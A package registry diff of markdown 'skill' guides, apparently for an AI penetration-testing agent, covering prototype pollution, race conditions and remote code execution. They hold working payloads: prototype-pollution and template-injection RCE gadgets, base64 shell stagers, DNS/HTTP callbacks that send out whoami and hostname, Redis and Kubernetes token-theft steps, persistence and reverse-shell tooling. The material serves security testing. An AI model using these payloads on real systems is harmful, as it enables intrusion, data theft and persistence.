@gpzhang2001/sharpkit-skills 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (84) hide show
  1. package/LICENSE +201 -0
  2. package/README.md +12 -0
  3. package/THIRD_PARTY_NOTICES.md +48 -0
  4. package/lib/index.d.ts +2027 -0
  5. package/lib/index.d.ts.map +1 -0
  6. package/lib/index.js +70 -0
  7. package/lib/index.js.map +1 -0
  8. package/package.json +46 -0
  9. package/skills/analysis/counterevidence.md +185 -0
  10. package/skills/analysis/fix_verification.md +129 -0
  11. package/skills/analysis/severity_calibration.md +130 -0
  12. package/skills/analysis/source_aware_discovery.md +211 -0
  13. package/skills/cloud/aws.md +231 -0
  14. package/skills/cloud/azure.md +262 -0
  15. package/skills/cloud/gcp.md +194 -0
  16. package/skills/cloud/kubernetes.md +223 -0
  17. package/skills/coordination/root_agent.md +105 -0
  18. package/skills/coordination/source_aware_whitebox.md +47 -0
  19. package/skills/custom/api_spec_testing.md +61 -0
  20. package/skills/custom/dependency_cve_scanning.md +341 -0
  21. package/skills/custom/npx_confusion.md +233 -0
  22. package/skills/custom/source_aware_sast.md +192 -0
  23. package/skills/frameworks/django.md +214 -0
  24. package/skills/frameworks/fastapi.md +191 -0
  25. package/skills/frameworks/nestjs.md +225 -0
  26. package/skills/frameworks/nextjs.md +228 -0
  27. package/skills/protocols/graphql.md +276 -0
  28. package/skills/protocols/oauth.md +185 -0
  29. package/skills/reconnaissance/asset_discovery.md +150 -0
  30. package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
  31. package/skills/scan_modes/deep.md +164 -0
  32. package/skills/scan_modes/diff.md +86 -0
  33. package/skills/scan_modes/quick.md +68 -0
  34. package/skills/scan_modes/standard.md +99 -0
  35. package/skills/technologies/active_directory.md +233 -0
  36. package/skills/technologies/auth0.md +188 -0
  37. package/skills/technologies/electron_desktop_apps.md +181 -0
  38. package/skills/technologies/firebase.md +263 -0
  39. package/skills/technologies/grafana_prometheus.md +189 -0
  40. package/skills/technologies/llm_applications.md +257 -0
  41. package/skills/technologies/supabase.md +268 -0
  42. package/skills/tooling/agent_browser.md +551 -0
  43. package/skills/tooling/ffuf.md +72 -0
  44. package/skills/tooling/httpx.md +82 -0
  45. package/skills/tooling/hurl.md +99 -0
  46. package/skills/tooling/hypothesis.md +100 -0
  47. package/skills/tooling/katana.md +102 -0
  48. package/skills/tooling/naabu.md +68 -0
  49. package/skills/tooling/nmap.md +66 -0
  50. package/skills/tooling/nuclei.md +67 -0
  51. package/skills/tooling/python.md +109 -0
  52. package/skills/tooling/semgrep.md +72 -0
  53. package/skills/tooling/sqlmap.md +67 -0
  54. package/skills/tooling/subfinder.md +66 -0
  55. package/skills/vulnerabilities/agentic_system_security.md +207 -0
  56. package/skills/vulnerabilities/argument_injection.md +157 -0
  57. package/skills/vulnerabilities/authentication_jwt.md +166 -0
  58. package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
  59. package/skills/vulnerabilities/browser_security.md +192 -0
  60. package/skills/vulnerabilities/business_logic.md +178 -0
  61. package/skills/vulnerabilities/csrf.md +198 -0
  62. package/skills/vulnerabilities/header_injection.md +216 -0
  63. package/skills/vulnerabilities/http_request_smuggling.md +255 -0
  64. package/skills/vulnerabilities/idor.md +217 -0
  65. package/skills/vulnerabilities/information_disclosure.md +187 -0
  66. package/skills/vulnerabilities/insecure_deserialization.md +210 -0
  67. package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
  68. package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
  69. package/skills/vulnerabilities/mass_assignment.md +153 -0
  70. package/skills/vulnerabilities/nosql_injection.md +288 -0
  71. package/skills/vulnerabilities/open_redirect.md +165 -0
  72. package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
  73. package/skills/vulnerabilities/prototype_pollution.md +142 -0
  74. package/skills/vulnerabilities/race_conditions.md +181 -0
  75. package/skills/vulnerabilities/rce.md +250 -0
  76. package/skills/vulnerabilities/semantic_confusion.md +189 -0
  77. package/skills/vulnerabilities/sql_injection.md +190 -0
  78. package/skills/vulnerabilities/ssrf.md +186 -0
  79. package/skills/vulnerabilities/ssti.md +270 -0
  80. package/skills/vulnerabilities/subdomain_takeover.md +167 -0
  81. package/skills/vulnerabilities/weak_password_detection.md +200 -0
  82. package/skills/vulnerabilities/xss.md +206 -0
  83. package/skills/vulnerabilities/xxe.md +223 -0
  84. package/src/index.ts +89 -0
@@ -0,0 +1,142 @@
1
+ ---
2
+ name: prototype-pollution
3
+ description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses
4
+ ---
5
+
6
+ # Prototype Pollution
7
+
8
+ Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering.
9
+
10
+ ## Attack Surface
11
+
12
+ **Languages & Runtimes**
13
+ - JavaScript/TypeScript (browser and Node.js)
14
+ - JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys
15
+ - Server-side template engines and config merge utilities
16
+
17
+ **Input Vectors**
18
+ - JSON request bodies, query strings, multipart form fields
19
+ - URL-encoded nested objects (`__proto__[key]=value`)
20
+ - WebSocket messages, GraphQL variables, file import formats (JSON, YAML)
21
+
22
+ **Vulnerable Patterns**
23
+ - Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops
24
+ - Query parsers: `qs`, `body-parser` with nested object support
25
+ - Client-side routing, state hydration, analytics SDK config merges
26
+
27
+ ## Key Vulnerabilities
28
+
29
+ ### Client-Side Prototype Pollution
30
+
31
+ **Gadget Effects**
32
+ - Bypass auth checks reading `user.isAdmin` when polluted on prototype
33
+ - DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders
34
+ - Cookie/session manipulation if app reads config from polluted defaults
35
+
36
+ **Payload Shapes**
37
+ ```json
38
+ {"__proto__": {"isAdmin": true}}
39
+ {"constructor": {"prototype": {"isAdmin": true}}}
40
+ {"__proto__.polluted": "yes"}
41
+ ```
42
+
43
+ **URL-encoded (qs-style)**
44
+ ```
45
+ ?__proto__[isAdmin]=true
46
+ ?constructor[prototype][isAdmin]=true
47
+ ```
48
+
49
+ ### Server-Side Prototype Pollution (Node.js)
50
+
51
+ **Common Sinks**
52
+ - `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options`
53
+ - Express/query parsers accepting nested objects
54
+ - YAML `load()` (not `safeLoad`) with prototype keys
55
+ - JSON.parse → merge into existing object without null prototype
56
+
57
+ **RCE Gadget Chains (Node.js)**
58
+ Pollute properties consumed by child_process, template engines, or require paths:
59
+ ```json
60
+ {"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}}
61
+ {"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}}
62
+ ```
63
+
64
+ Gadget availability depends on package versions — enumerate `node_modules` in white-box scans.
65
+
66
+ ### Filter Bypasses
67
+
68
+ **Key Sanitization Bypasses**
69
+ - Unicode normalization: `__proto__` variants, fullwidth underscores
70
+ - Nested forms: `constructor.prototype` instead of `__proto__`
71
+ - Array pollution: `__proto__[0]`, `[].__proto__`
72
+ - JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill)
73
+
74
+ **Freeze/Seal Gaps**
75
+ - Pollution before `Object.freeze` on instance but not prototype
76
+ - Pollution affecting newly created objects after merge
77
+
78
+ ## Testing Methodology
79
+
80
+ 1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects
81
+ 2. **Baseline probe** — Inject benign pollution marker:
82
+ ```json
83
+ {"__proto__": {"pollutionCanary": "yes"}}
84
+ ```
85
+ Verify via response behavior, error messages, or follow-up request reading shared state
86
+ 3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation
87
+ 4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint
88
+ 5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers)
89
+ 6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks
90
+
91
+ ## Validation
92
+
93
+ 1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects
94
+ 2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC
95
+ 3. Prove pollution persists across requests (server) or page lifetime (client) as applicable
96
+ 4. Document exact merge function and input path (parameter name, content-type)
97
+ 5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype`
98
+
99
+ ## False Positives
100
+
101
+ - Parser strips `__proto__` before merge — marker property never appears on prototype
102
+ - Framework uses `Object.create(null)` for options objects throughout
103
+ - Polluted key visible in JSON echo but never merged into object graph
104
+ - Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change)
105
+ - WAF blocks payload but alternate encoding also blocked consistently
106
+
107
+ ## Bypass Methods
108
+
109
+ - Switch from `__proto__` to `constructor[prototype]` when only one is filtered
110
+ - Use array notation: `__proto__[key]`, `[].__proto__.key`
111
+ - Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart
112
+ - Split pollution across multiple parameters merged sequentially
113
+ - Second-order pollution: store payload, trigger merge in background job or export pipeline
114
+
115
+ ## Impact
116
+
117
+ - Authentication/authorization bypass via polluted flag checks
118
+ - DOM XSS and session compromise in browsers
119
+ - Remote code execution on Node.js through known gadget chains
120
+ - Denial of service via polluting widely read prototype properties
121
+
122
+ ## Pro Tips
123
+
124
+ 1. Always verify pollution with a unique canary key (`pollutionCanary_<random>`) before attempting RCE gadgets
125
+ 2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input
126
+ 3. Check both request parsing and response template config merges (second-order)
127
+ 4. Node gadget chains are version-specific — confirm package version before claiming RCE
128
+ 5. Combine with client-side template injection if polluted keys flow into rendering config
129
+
130
+ ## Tooling
131
+
132
+ Detection is mostly about payload shapes (above) plus a couple of light helpers. The sandbox has `go` and `nuclei`; `ppfuzz` is a single static binary.
133
+
134
+ - **ppfuzz** (dwisiswant0) — fast client-side prototype-pollution fuzzer (Rust, single binary); good for spraying the URL/param shapes across many endpoints: `ppfuzz -l urls.txt`
135
+ - **nuclei** (preinstalled) — has prototype-pollution templates for quick triage: `nuclei -u https://target -tags prototype-pollution`
136
+ - **BlackFan `client-side-prototype-pollution`** — not a tool but the canonical **gadget reference**: maps polluted keys to concrete DOM-XSS sinks per library (jQuery, Popper, Wistia, etc.). Use it to turn a confirmed pollution into real impact.
137
+
138
+ For server-side gadget hunting there is no reliable one-click tool — enumerate `node_modules` in white-box scope and match polluted keys to sinks (`ejs`/`pug` `outputFunctionName`, `child_process` `shell`/`NODE_OPTIONS`) as covered above.
139
+
140
+ ## Summary
141
+
142
+ Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.
@@ -0,0 +1,181 @@
1
+ ---
2
+ name: race-conditions
3
+ description: Race condition testing for TOCTOU bugs, double-spend, and concurrent state manipulation
4
+ ---
5
+
6
+ # Race Conditions
7
+
8
+ Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.
9
+
10
+ ## Attack Surface
11
+
12
+ **Read-Modify-Write**
13
+ - Sequences without atomicity or proper locking
14
+
15
+ **Multi-Step Operations**
16
+ - Check → reserve → commit with gaps between phases
17
+
18
+ **Cross-Service Workflows**
19
+ - Sagas, async jobs with eventual consistency
20
+
21
+ **Rate Limits and Quotas**
22
+ - Controls implemented at the edge only
23
+
24
+ ## High-Value Targets
25
+
26
+ - Payments: auth/capture/refund/void; credits/loyalty points; gift cards
27
+ - Coupons/discounts: single-use codes, stacking checks, per-user limits
28
+ - Quotas/limits: API usage, inventory reservations, seat counts, vote limits
29
+ - Auth flows: password reset/OTP consumption, session minting, device trust
30
+ - File/object storage: multi-part finalize, version writes, share-link generation
31
+ - Background jobs: export/import create/finalize endpoints; job cancellation/approve
32
+ - GraphQL mutations and batch operations; WebSocket actions
33
+
34
+ ## Reconnaissance
35
+
36
+ ### Identify Race Windows
37
+
38
+ - Look for explicit sequences: "check balance then deduct", "verify coupon then apply", "check inventory then purchase"
39
+ - Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks
40
+ - Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
41
+ - Map cross-service steps: when is state written vs published, what retries/compensations exist
42
+
43
+ ### Signals
44
+
45
+ - Sequential request fails but parallel succeeds
46
+ - Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
47
+ - Distinct response shapes/timings for simultaneous vs sequential requests
48
+ - Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
49
+
50
+ ## Key Vulnerabilities
51
+
52
+ ### Request Synchronization
53
+
54
+ - HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections
55
+ - Last-byte synchronization: hold requests open and release final byte simultaneously
56
+ - Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
57
+
58
+ ### Idempotency and Dedup Bypass
59
+
60
+ - Reuse the same idempotency key across different principals/paths if scope is inadequate
61
+ - Hit the endpoint before the idempotency store is written (cache-before-commit windows)
62
+ - App-level dedup drops only the response while side effects (emails/credits) still occur
63
+
64
+ ### Atomicity Gaps
65
+
66
+ - Lost update: read-modify-write increments without atomic DB statements
67
+ - Partial two-phase workflows: success committed before validation completes
68
+ - Unique checks done outside a unique index/upsert: create duplicates under load
69
+
70
+ ### Cross-Service Races
71
+
72
+ - Saga/compensation timing gaps: execute compensation without preventing the original success path
73
+ - Eventual consistency windows: act in Service B before Service A's write is visible
74
+ - Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
75
+
76
+ ### Rate Limits and Quotas
77
+
78
+ - Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
79
+ - Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
80
+
81
+ ### Optimistic Concurrency Evasion
82
+
83
+ - Omit If-Match/ETag where optional; supply stale versions if server ignores them
84
+ - Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)
85
+
86
+ ### Database Isolation
87
+
88
+ - Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences
89
+ - Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks
90
+ - Lock granularity issues: row vs table; application locks held only in-process
91
+
92
+ ### Distributed Locks
93
+
94
+ - Redis locks without NX/EX or fencing tokens allow multiple winners
95
+ - Locks stored in memory on a single node; bypass by hitting other nodes/regions
96
+
97
+ ## Bypass Techniques
98
+
99
+ - Distribute across IPs, sessions, and user accounts to evade per-entity throttles
100
+ - Switch methods/content-types/endpoints that trigger the same state change via different code paths
101
+ - Intentionally trigger timeouts to provoke retries that cause duplicate side effects
102
+ - Degrade the target (large payloads, slow endpoints) to widen race windows
103
+
104
+ ## Special Contexts
105
+
106
+ ### GraphQL
107
+
108
+ - Parallel mutations and batched operations may bypass per-mutation guards
109
+ - Ensure resolver-level idempotency and atomicity
110
+ - Persisted queries and aliases can hide multiple state changes in one request
111
+
112
+ ### WebSocket
113
+
114
+ - Per-message authorization and idempotency must hold
115
+ - Concurrent emits can create duplicates if only the handshake is checked
116
+
117
+ ### Files and Storage
118
+
119
+ - Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects
120
+ - Re-use pre-signed URLs concurrently
121
+
122
+ ### Auth Flows
123
+
124
+ - Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions
125
+ - Verify consume is atomic
126
+
127
+ ## Chaining Attacks
128
+
129
+ - Race + Business logic: violate invariants (double-refund, limit slicing)
130
+ - Race + IDOR: modify or read others' resources before ownership checks complete
131
+ - Race + CSRF: trigger parallel actions from a victim to amplify effects
132
+ - Race + Caching: stale caches re-serve privileged states after concurrent changes
133
+
134
+ ## Testing Methodology
135
+
136
+ 1. **Model invariants** - Conservation of value, uniqueness, maximums for each workflow
137
+ 2. **Identify reads/writes** - Where they occur (service, DB, cache)
138
+ 3. **Baseline** - Single requests to establish expected behavior
139
+ 4. **Concurrent requests** - Issue parallel requests with identical inputs; observe deltas
140
+ 5. **Scale and synchronize** - Ramp up parallelism, use HTTP/2, align timing (last-byte sync)
141
+ 6. **Cross-channel** - Test across web, API, GraphQL, WebSocket
142
+ 7. **Confirm durability** - Verify state changes persist and are reproducible
143
+
144
+ ## Validation
145
+
146
+ 1. Single request denied; N concurrent requests succeed where only 1 should
147
+ 2. Durable state change proven (ledger entries, inventory counts, role/flag changes)
148
+ 3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs
149
+ 4. Evidence across channels (e.g., REST and GraphQL) if applicable
150
+ 5. Include before/after state and exact request set used
151
+
152
+ ## False Positives
153
+
154
+ - Truly idempotent operations with enforced ETag/version checks or unique constraints
155
+ - Serializable transactions or correct advisory locks/queues
156
+ - Visual-only glitches without durable state change
157
+ - Rate limits that reject excess with atomic counters
158
+
159
+ ## Impact
160
+
161
+ - Financial loss (double spend, over-issuance of credits/refunds)
162
+ - Policy/limit bypass (quotas, single-use tokens, seat counts)
163
+ - Data integrity corruption and audit trail inconsistencies
164
+ - Privilege or role errors due to concurrent updates
165
+
166
+ ## Pro Tips
167
+
168
+ 1. Favor HTTP/2 with warmed connections; add last-byte sync for precision
169
+ 2. Start small (N=5–20), then scale; too much noise can mask the window
170
+ 3. Target read–modify–write code paths and endpoints with idempotency keys
171
+ 4. Compare REST vs GraphQL vs WebSocket; protections often differ
172
+ 5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics
173
+ 6. Check unique constraints and upsert usage; avoid relying on pre-insert checks
174
+ 7. Use correlation IDs and logs to prove concurrent interleaving
175
+ 8. Widen windows by adding server load or slow backend dependencies
176
+ 9. Validate on production-like latency; some races only appear under real load
177
+ 10. Document minimal, repeatable request sets that demonstrate durable impact
178
+
179
+ ## Summary
180
+
181
+ Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.
@@ -0,0 +1,250 @@
1
+ ---
2
+ name: rce
3
+ description: RCE testing covering command injection, deserialization, template injection, and code evaluation
4
+ ---
5
+
6
+ # RCE
7
+
8
+ Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
9
+
10
+ ## Attack Surface
11
+
12
+ **Command Execution**
13
+ - OS command execution via wrappers (shells, system utilities, CLIs)
14
+
15
+ **Dynamic Evaluation**
16
+ - Template engines, expression languages, eval/vm
17
+
18
+ **Deserialization**
19
+ - Insecure deserialization and gadget chains across languages
20
+
21
+ **Media Pipelines**
22
+ - ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg
23
+
24
+ **SSRF Chains**
25
+ - Internal services exposing execution primitives (FastCGI, Redis)
26
+
27
+ **Container Escalation**
28
+ - App RCE to node/cluster compromise via Docker/Kubernetes
29
+
30
+ ## Detection Channels
31
+
32
+ ### Time-Based
33
+
34
+ **Unix**
35
+ - `;sleep 1`, `` `sleep 1` ``, `|| sleep 1`
36
+ - Gate delays with short subcommands to reduce noise
37
+
38
+ **Windows**
39
+ - CMD: `& timeout /t 2 &`, `ping -n 2 127.0.0.1`
40
+ - PowerShell: `Start-Sleep -s 2`
41
+
42
+ ### OAST
43
+
44
+ Use `interactsh-client -v` in the sandbox to mint a unique callback
45
+ domain (`*.oast.fun`); substitute it for `attacker.tld` below. Each
46
+ invocation prints inbound DNS/HTTP hits to stdout in real time.
47
+
48
+ **DNS**
49
+ ```bash
50
+ nslookup $(whoami).xyz.oast.fun
51
+ ```
52
+
53
+ **HTTP**
54
+ ```bash
55
+ curl https://xyz.oast.fun/$(hostname)
56
+ ```
57
+
58
+ ### Output-Based
59
+
60
+ **Direct**
61
+ ```bash
62
+ ;id;uname -a;whoami
63
+ ```
64
+
65
+ **Encoded**
66
+ ```bash
67
+ ;(id;hostname)|base64
68
+ ```
69
+
70
+ ## Key Vulnerabilities
71
+
72
+ ### Command Injection
73
+
74
+ **Delimiters and Operators**
75
+ - Unix: `; | || & && `cmd` $(cmd) $() ${IFS}` newline/tab
76
+ - Windows: `& | || ^`
77
+
78
+ **Argument Injection**
79
+ - Inject flags/filenames into CLI arguments (e.g., `--output=/tmp/x`, `--config=`)
80
+ - Break out of quoted segments by alternating quotes and escapes
81
+ - Environment expansion: `$PATH`, `${HOME}`, command substitution
82
+ - Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
83
+ - When a shell-free subprocess (`execve`/`subprocess.run([...])`) receives a user-controlled argument, load `argument_injection` to test option smuggling and any separately identified argv or secondary-parser boundary.
84
+
85
+ **Path and Builtin Confusion**
86
+ - Force absolute paths (`/usr/bin/id`) vs relying on PATH
87
+ - Use builtins or alternative tools (`printf`, `getent`) when `id` is filtered
88
+ - Use `sh -c` or `cmd /c` wrappers to reach the shell
89
+
90
+ **Evasion**
91
+ - Whitespace/IFS: `${IFS}`, `$'\t'`, `<`
92
+ - Token splitting: `w'h'o'a'm'i`, `w"h"o"a"m"i`
93
+ - Variable building: `a=i;b=d; $a$b`
94
+ - Base64 stagers: `echo payload | base64 -d | sh`
95
+ - PowerShell: `IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))`
96
+
97
+ ### Template Injection
98
+
99
+ Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
100
+
101
+ **Minimal Probes**
102
+ ```
103
+ Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
104
+ Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
105
+ Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
106
+ EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
107
+ ```
108
+
109
+ ### Deserialization and EL
110
+
111
+ **Java**
112
+ - Gadget chains via CommonsCollections/BeanUtils/Spring
113
+ - Tools: ysoserial
114
+ - JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
115
+
116
+ **.NET**
117
+ - BinaryFormatter/DataContractSerializer
118
+ - APIs accepting untrusted ViewState without MAC
119
+
120
+ **PHP**
121
+ - `unserialize()` and PHAR metadata
122
+ - Autoloaded gadget chains in frameworks and plugins
123
+
124
+ **Python/Ruby**
125
+ - pickle, `yaml.load`/`unsafe_load`, Marshal
126
+ - Auto-deserialization in message queues/caches
127
+
128
+ **Expression Languages**
129
+ - OGNL/SpEL/MVEL/EL reaching Runtime/ProcessBuilder/exec
130
+
131
+ ### Media and Document Pipelines
132
+
133
+ **ImageMagick/GraphicsMagick**
134
+ - policy.xml may limit delegates; still test legacy vectors
135
+ ```
136
+ push graphic-context
137
+ fill 'url(https://x.tld/a"|id>/tmp/o")'
138
+ pop graphic-context
139
+ ```
140
+
141
+ **Ghostscript**
142
+ - PostScript in PDFs/PS: `%pipe%id` file operators
143
+
144
+ **ExifTool**
145
+ - Crafted metadata invoking external tools or library bugs
146
+
147
+ **LaTeX**
148
+ - `\write18`/`--shell-escape`, `\input` piping; pandoc filters
149
+
150
+ **ffmpeg**
151
+ - concat/protocol tricks mediated by compile-time flags
152
+
153
+ ### SSRF to RCE
154
+
155
+ **FastCGI**
156
+ - `gopher://` to php-fpm (build FPM records to invoke system/exec)
157
+
158
+ **Redis**
159
+ - `gopher://` write cron/authorized_keys or webroot
160
+ - Module load when allowed
161
+
162
+ **Admin Interfaces**
163
+ - Jenkins script console, Spark UI, Jupyter kernels reachable internally
164
+
165
+ ### Container and Kubernetes
166
+
167
+ **Docker**
168
+ - From app RCE, inspect `/.dockerenv`, `/proc/1/cgroup`
169
+ - Enumerate mounts and capabilities: `capsh --print`
170
+ - Abuses: mounted docker.sock, hostPath mounts, privileged containers
171
+ - Write to `/proc/sys/kernel/core_pattern` or mount host with `--privileged`
172
+
173
+ **Kubernetes**
174
+ - Steal service account token from `/var/run/secrets/kubernetes.io/serviceaccount`
175
+ - Query API for pods/secrets; enumerate RBAC
176
+ - Talk to kubelet on 10250/10255; exec into pods
177
+ - Escalate via privileged pods, hostPath mounts, or daemonsets
178
+
179
+ ## Bypass Techniques
180
+
181
+ **Encoding Differentials**
182
+ - URL encoding, Unicode normalization, comment insertion, mixed case
183
+ - Request smuggling to reach alternate parsers
184
+
185
+ **Binary Alternatives**
186
+ - Absolute paths and alternate binaries (busybox, sh, env)
187
+ - Windows variations (PowerShell vs CMD)
188
+ - Constrained language bypasses
189
+
190
+ ## Post-Exploitation
191
+
192
+ **Privilege Escalation**
193
+ - `sudo -l`; SUID binaries; capabilities (`getcap -r / 2>/dev/null`)
194
+
195
+ **Persistence**
196
+ - cron/systemd/user services; web shell behind auth
197
+ - Plugin hooks; supply chain in CI/CD
198
+
199
+ **Lateral Movement**
200
+ - SSH keys, cloud metadata credentials, internal service tokens
201
+
202
+ ## Testing Methodology
203
+
204
+ 1. **Identify sinks** - Command wrappers, template rendering, deserialization, file converters, report generators, plugin hooks
205
+ 2. **Establish oracle** - Timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag)
206
+ 3. **Confirm context** - User, working directory, PATH, shell, SELinux/AppArmor, containerization
207
+ 4. **Map boundaries** - Read/write locations, outbound egress
208
+ 5. **Progress to control** - File write, scheduled execution, service restart hooks
209
+
210
+ ## Validation
211
+
212
+ 1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution
213
+ 2. Show command context (uid, gid, cwd, env) and controlled output
214
+ 3. Demonstrate persistence or file write under application constraints
215
+ 4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed
216
+ 5. Keep PoCs minimal and reproducible across runs and transports
217
+
218
+ ## False Positives
219
+
220
+ - Only crashes or timeouts without controlled behavior
221
+ - Filtered execution of a limited command subset with no attacker-controlled args
222
+ - Sandboxed interpreters executing in a restricted VM with no IO or process spawn
223
+ - Simulated outputs not derived from executed commands
224
+
225
+ ## Impact
226
+
227
+ - Remote system control under application user; potential privilege escalation to root
228
+ - Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
229
+ - Cluster compromise when combined with container/Kubernetes misconfigurations
230
+
231
+ ## Pro Tips
232
+
233
+ 1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise
234
+ 2. When command injection is weak, pivot to file write or deserialization/SSTI paths
235
+ 3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates
236
+ 4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads
237
+ 5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps
238
+ 6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies
239
+ 7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops
240
+
241
+ ## Tooling
242
+
243
+ - Reverse-shell listener: `ncat -lvnp 4444` (in the sandbox; `ncat` is the
244
+ netcat variant that ships in the image). Pair with a one-shot shell
245
+ payload only when OAST + selective reads are insufficient — never
246
+ drop a persistent shell when a single targeted command will prove it.
247
+
248
+ ## Summary
249
+
250
+ RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.